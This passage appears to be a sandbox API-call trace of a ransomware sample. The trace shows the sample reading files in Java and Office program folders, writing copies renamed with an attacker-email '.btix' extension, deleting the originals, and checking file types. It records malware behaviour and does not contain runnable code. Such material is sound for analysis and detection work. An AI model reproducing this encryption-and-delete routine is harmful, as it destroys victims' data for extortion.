[0133.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0133.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.730] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0133.730] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.731] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.731] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0133.916] GetLastError () returned 0x0 [0133.916] ReadFile (in: hFile=0x4dc, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x3926, lpOverlapped=0x0) returned 1 [0134.300] WriteFile (in: hFile=0x4c0, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x3930, lpOverlapped=0x0) returned 1 [0134.301] ReadFile (in: hFile=0x4dc, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.301] WriteFile (in: hFile=0x4c0, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xfe, lpOverlapped=0x0) returned 1 [0134.302] SetEndOfFile (hFile=0x4c0) returned 1 [0134.302] CloseHandle (hObject=0x4c0) returned 1 [0134.302] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.302] SetEndOfFile (hFile=0x4dc) returned 1 [0134.304] CloseHandle (hObject=0x4dc) returned 1 [0134.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.304] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1 [0134.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.305] lstrlenW (lpString=".doc") returned 4 [0134.305] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0134.305] lstrlenW (lpString=".docx") returned 5 [0134.305] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0134.305] lstrlenW (lpString=".pdf") returned 4 [0134.305] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0134.305] lstrlenW (lpString=".xls") returned 4 [0134.305] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0134.305] lstrlenW (lpString=".xlsx") returned 5 [0134.305] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0134.305] lstrlenW (lpString=".ppt") returned 4 [0134.305] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0134.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.305] lstrlenW (lpString=".zip") returned 4 [0134.305] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0134.305] lstrlenW (lpString=".rar") returned 4 [0134.305] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0134.305] lstrlenW (lpString=".bz2") returned 4 [0134.305] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0134.305] lstrlenW (lpString=".7z") returned 3 [0134.305] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0134.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.306] lstrlenW (lpString=".dbf") returned 4 [0134.306] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0134.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.306] lstrlenW (lpString=".1cd") returned 4 [0134.306] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0134.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.306] lstrlenW (lpString=".jpg") returned 4 [0134.306] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0134.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.306] lstrlenW (lpString=".doc") returned 4 [0134.306] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0134.306] lstrlenW (lpString=".docx") returned 5 [0134.306] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0134.306] lstrlenW (lpString=".pdf") returned 4 [0134.306] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0134.306] lstrlenW (lpString=".xls") returned 4 [0134.306] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0134.306] lstrlenW (lpString=".xlsx") returned 5 [0134.306] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0134.306] lstrlenW (lpString=".ppt") returned 4 [0134.306] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0134.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.306] lstrlenW (lpString=".zip") returned 4 [0134.306] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0134.306] lstrlenW (lpString=".rar") returned 4 [0134.306] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0134.306] lstrlenW (lpString=".bz2") returned 4 [0134.306] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0134.306] lstrlenW (lpString=".7z") returned 3 [0134.306] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0134.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.307] lstrlenW (lpString=".dbf") returned 4 [0134.307] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0134.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.307] lstrlenW (lpString=".1cd") returned 4 [0134.307] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0134.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0134.307] lstrlenW (lpString=".jpg") returned 4 [0134.307] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0134.307] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".btix") returned -1 [0134.307] lstrlenW (lpString="cacerts") returned 7 [0134.307] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0134.930] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=114923) returned 1 [0134.930] CloseHandle (hObject=0x550) returned 1 [0134.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0134.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.931] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0134.931] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.931] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.931] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0134.932] GetLastError () returned 0x0 [0134.932] ReadFile (in: hFile=0x550, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x1c0eb, lpOverlapped=0x0) returned 1 [0134.944] WriteFile (in: hFile=0x54c, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x1c0f0, lpOverlapped=0x0) returned 1 [0134.946] ReadFile (in: hFile=0x550, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.946] WriteFile (in: hFile=0x54c, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xe2, lpOverlapped=0x0) returned 1 [0134.946] SetEndOfFile (hFile=0x54c) returned 1 [0134.946] CloseHandle (hObject=0x54c) returned 1 [0134.946] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.946] SetEndOfFile (hFile=0x550) returned 1 [0134.950] CloseHandle (hObject=0x550) returned 1 [0134.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.950] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1 [0134.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.951] lstrlenW (lpString=".doc") returned 4 [0134.951] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0134.951] lstrlenW (lpString=".docx") returned 5 [0134.951] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0134.951] lstrlenW (lpString=".pdf") returned 4 [0134.951] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0134.951] lstrlenW (lpString=".xls") returned 4 [0134.951] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0134.951] lstrlenW (lpString=".xlsx") returned 5 [0134.951] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0134.951] lstrlenW (lpString=".ppt") returned 4 [0134.951] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0134.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.951] lstrlenW (lpString=".zip") returned 4 [0134.951] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0134.951] lstrlenW (lpString=".rar") returned 4 [0134.951] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0134.951] lstrlenW (lpString=".bz2") returned 4 [0134.951] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0134.951] lstrlenW (lpString=".7z") returned 3 [0134.951] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0134.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.951] lstrlenW (lpString=".dbf") returned 4 [0134.951] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0134.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.951] lstrlenW (lpString=".1cd") returned 4 [0134.951] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0134.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.951] lstrlenW (lpString=".jpg") returned 4 [0134.951] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0134.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.952] lstrlenW (lpString=".doc") returned 4 [0134.952] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0134.952] lstrlenW (lpString=".docx") returned 5 [0134.952] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0134.952] lstrlenW (lpString=".pdf") returned 4 [0134.952] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0134.952] lstrlenW (lpString=".xls") returned 4 [0134.952] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0134.952] lstrlenW (lpString=".xlsx") returned 5 [0134.952] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0134.952] lstrlenW (lpString=".ppt") returned 4 [0134.952] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0134.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.952] lstrlenW (lpString=".zip") returned 4 [0134.952] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0134.952] lstrlenW (lpString=".rar") returned 4 [0134.952] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0134.952] lstrlenW (lpString=".bz2") returned 4 [0134.952] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0134.952] lstrlenW (lpString=".7z") returned 3 [0134.952] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0134.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.952] lstrlenW (lpString=".dbf") returned 4 [0134.952] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0134.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.952] lstrlenW (lpString=".1cd") returned 4 [0134.952] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0134.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0134.952] lstrlenW (lpString=".jpg") returned 4 [0134.952] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0134.953] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0134.953] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0134.953] CreateFileW (lpFileName="C:\\Program Files\\Java\\labor-perhaps-sentences.exe" (normalized: "c:\\program files\\java\\labor-perhaps-sentences.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0134.953] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=75776) returned 1 [0134.953] CloseHandle (hObject=0x550) returned 1 [0134.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\labor-perhaps-sentences.exe" (normalized: "c:\\program files\\java\\labor-perhaps-sentences.exe")) returned 0x20 [0134.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\labor-perhaps-sentences.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\labor-perhaps-sentences.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.954] CreateFileW (lpFileName="C:\\Program Files\\Java\\labor-perhaps-sentences.exe" (normalized: "c:\\program files\\java\\labor-perhaps-sentences.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.954] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.954] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.954] lstrlenW (lpString=".doc") returned 4 [0134.954] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0134.954] lstrlenW (lpString=".docx") returned 5 [0134.954] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0134.954] lstrlenW (lpString=".pdf") returned 4 [0134.954] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0134.954] lstrlenW (lpString=".xls") returned 4 [0134.954] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0134.954] lstrlenW (lpString=".xlsx") returned 5 [0134.954] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0134.954] lstrlenW (lpString=".ppt") returned 4 [0134.954] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0134.954] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.954] lstrlenW (lpString=".zip") returned 4 [0134.954] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0134.954] lstrlenW (lpString=".rar") returned 4 [0134.954] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0134.954] lstrlenW (lpString=".bz2") returned 4 [0134.955] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0134.955] lstrlenW (lpString=".7z") returned 3 [0134.955] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0134.955] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.955] lstrlenW (lpString=".dbf") returned 4 [0134.955] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0134.955] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.955] lstrlenW (lpString=".1cd") returned 4 [0134.955] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0134.955] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.955] lstrlenW (lpString=".jpg") returned 4 [0134.955] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0134.955] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.955] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.955] lstrlenW (lpString=".doc") returned 4 [0134.955] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0134.955] lstrlenW (lpString=".docx") returned 5 [0134.955] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0134.955] lstrlenW (lpString=".pdf") returned 4 [0134.955] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0134.955] lstrlenW (lpString=".xls") returned 4 [0134.955] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0134.955] lstrlenW (lpString=".xlsx") returned 5 [0134.955] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0134.955] lstrlenW (lpString=".ppt") returned 4 [0134.955] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0134.955] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.955] lstrlenW (lpString=".zip") returned 4 [0134.955] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0134.955] lstrlenW (lpString=".rar") returned 4 [0134.955] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0134.955] lstrlenW (lpString=".bz2") returned 4 [0134.955] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0134.955] lstrlenW (lpString=".7z") returned 3 [0134.956] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0134.956] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.956] lstrlenW (lpString=".dbf") returned 4 [0134.956] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0134.956] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.956] lstrlenW (lpString=".1cd") returned 4 [0134.956] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0134.956] lstrlenW (lpString="C:\\Program Files\\Java\\labor-perhaps-sentences.exe") returned 49 [0134.956] lstrlenW (lpString=".jpg") returned 4 [0134.956] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0134.956] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0134.956] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0134.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe" (normalized: "c:\\program files\\microsoft office\\blademexicanvolkswagen.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0134.957] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=75776) returned 1 [0134.957] CloseHandle (hObject=0x550) returned 1 [0134.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe" (normalized: "c:\\program files\\microsoft office\\blademexicanvolkswagen.exe")) returned 0x20 [0134.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\blademexicanvolkswagen.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe" (normalized: "c:\\program files\\microsoft office\\blademexicanvolkswagen.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.957] lstrlenW (lpString=".doc") returned 4 [0134.957] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0134.957] lstrlenW (lpString=".docx") returned 5 [0134.957] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0134.957] lstrlenW (lpString=".pdf") returned 4 [0134.958] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0134.958] lstrlenW (lpString=".xls") returned 4 [0134.958] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0134.958] lstrlenW (lpString=".xlsx") returned 5 [0134.958] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0134.958] lstrlenW (lpString=".ppt") returned 4 [0134.958] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.958] lstrlenW (lpString=".zip") returned 4 [0134.958] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0134.958] lstrlenW (lpString=".rar") returned 4 [0134.958] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0134.958] lstrlenW (lpString=".bz2") returned 4 [0134.958] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0134.958] lstrlenW (lpString=".7z") returned 3 [0134.958] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.958] lstrlenW (lpString=".dbf") returned 4 [0134.958] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.958] lstrlenW (lpString=".1cd") returned 4 [0134.958] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.958] lstrlenW (lpString=".jpg") returned 4 [0134.958] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.958] lstrlenW (lpString=".doc") returned 4 [0134.958] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0134.958] lstrlenW (lpString=".docx") returned 5 [0134.958] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0134.958] lstrlenW (lpString=".pdf") returned 4 [0134.958] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0134.959] lstrlenW (lpString=".xls") returned 4 [0134.959] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0134.959] lstrlenW (lpString=".xlsx") returned 5 [0134.959] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0134.959] lstrlenW (lpString=".ppt") returned 4 [0134.959] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0134.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.959] lstrlenW (lpString=".zip") returned 4 [0134.959] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0134.959] lstrlenW (lpString=".rar") returned 4 [0134.959] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0134.959] lstrlenW (lpString=".bz2") returned 4 [0134.959] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0134.959] lstrlenW (lpString=".7z") returned 3 [0134.959] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0134.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.959] lstrlenW (lpString=".dbf") returned 4 [0134.959] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0134.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\blademexicanvolkswagen.exe") returned 60 [0134.959] lstrlenW (lpString=".1cd") returned 4 [0134.959] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 